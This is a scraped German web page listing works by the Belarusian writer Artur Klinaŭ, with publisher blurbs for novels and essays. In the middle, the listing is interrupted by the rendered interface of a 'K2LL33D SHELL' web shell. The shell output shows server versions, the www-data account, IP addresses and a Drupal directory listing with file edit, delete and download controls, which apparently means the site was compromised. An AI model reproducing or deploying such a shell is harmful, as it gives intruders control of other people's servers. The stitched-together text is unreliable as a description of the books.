Schalom. Ein Schelmenroman
Roman
2015

Шалом

Schalom ist eine Satire aus der Perspektive des armen, osteuropäischen Künstlers, ein Trinkerroman und wilder Roadtrip. Es geht von Bonn über Berlin, Warschau und Minsk bis nach Mogiljow, im Osten von Belarus. Schalom ist das belarussische Wort für Kriegerhelm, und den setzt sich der Protagonist Andre in Deutschland auf – um ihn niemals wieder abzusetzen. Klinaŭ spießt dabei überaus unterhaltsam Erwartungshaltungen und Vorurteile auf – aus Ost und West. (Verlagsinformation edition.fotoTAPETA)

ZUM VERLAG

field_werk_pdf
Not published
Altglas
Roman
2014

Шклатара

k2ll33d
  

K2LL33D SHELL

 Apache/2.2.16 (Debian)
 Linux stiefen 2.6.32-5-xen-amd64 #1 SMP Tue May 13 18:41:58 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: ON | WGet: ON
  >  / home / www / torsten / drupal / misc /
server ip : 144.76.57.24

your ip : 54.162.166.214

H O M E


www-data $
view file/folder
namesizeowner:grouppermsmodifiedactions
.- : torsten
rwxr-xr-x
14-Jul-2015 20:23 newfile | newfolder
- : www-data
rwxr-xr-x
07-Oct-2015 14:04 newfile | newfolder
farbtastic
DIR : torsten
rwxr-xr-x
24-Mar-2011 15:37rename| delete
ui
DIR : torsten
rwxr-xr-x
24-Mar-2011 15:38rename| delete
ajax.js
22.92 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
arrow-asc.png
118 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
arrow-desc.png
118 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
authorize.js
968 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
autocomplete.js
8 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
batch.js
939 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
collapse.js
3.25 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
configure.png
248 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
draggable.png
268 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
drupal.js
14.2 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
druplicon.png
3.81 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
favicon.ico
5.3 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
feed.png
656 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
form.js
2.4 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
forum-icons.png
1.72 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
grippie.png
106 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
help.png
294 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
jquery.ba-bbq.js
4.02 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
jquery.cookie.js
961 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
jquery.form.js
9.68 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
jquery.js
76.76 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
jquery.once.js
2.9 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
machine-name.js
4.99 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
menu-collapsed-rtl.png 107 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
menu-collapsed.png 105 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
menu-expanded.png 106 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
menu-leaf.png 126 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-16-error.png
519 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-16-help.png
668 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-16-info.png
733 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-16-ok.png
639 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-16-warning.png
442 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-24-error.png
733 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-24-help.png
1.06 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-24-info.png
1011 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-24-ok.png
1.03 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
message-24-warning.png
753 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
permissions.png
242 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-black-135x42.png
2.64 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-black-80x15.png
1.41 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-black-88x31.png
1.96 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-blue-135x42.png
2.81 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-blue-80x15.png
943 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-blue-88x31.png
1.96 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-gray-135x42.png
2.53 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-gray-80x15.png
698 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
powered-gray-88x31.png
1.92 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
print-rtl.css 56 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
print.css
291 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
progress.gif
5.73 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
progress.js
3.04 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
states.js
16.95 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
tabledrag.js
41 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
tableheader.js
5.21 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
tableselect.js
3.84 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
textarea.js
920 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
throbber-active.gif
1.2 kbroot : root
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
throbber-inactive.png
320root : root
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
throbber.gif
1.3 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
timezone.js
2.5 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
tree-bottom.png
129 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
tree.png
130 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
vertical-tabs-rtl.css
265 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
vertical-tabs.css
2.01 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
vertical-tabs.js
6.18 kb : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
watchdog-error.png
780 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
watchdog-ok.png
375 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
watchdog-warning.png
318 : torsten
rw-r--r--
14-Jul-2015 20:23 edit | rename| delete | download (gz)
field_werk_pdf
Not published
PARTISANEN. Kultur_Macht_Belarus
Essay
2014

Der Partisan ist eine für Belarus typische Figur. Heute aber, so Klinaŭ und die Macher seiner Zeitschrift pARTisan, ist eine Partisanen-Strategie der Kunst der einzige Weg aus der tiefen Misere seines Landes. Denn Politik hilft gegen das Regime eines Lukaschenka nicht weiter. Wie diese Strategie aussieht, davon handelt dieses Buch.

(Verlagsinformation edition.fotoTAPETA)

 

ZUM VERLAG

field_werk_pdf
Not published
Minsk. Sonnenstadt der Träume
Essay
2006 | Übersetzung Volker Weichsel

 

Малая падарожная кніжка па Горадзе Сонца

Der weißrussische Künstler, Architekt und Publizist Artur Klinaŭ porträtiert die "Sonnenstadt der Träume", erzählt vom Widerstand gegen die Diktatur Lukaschenkos und konstatiert das Verschwinden Europas in der Dämmerzone Weißrußland.

(Klappentext Suhrkamp)

 

ZUM VERLAG

field_werk_pdf
Not published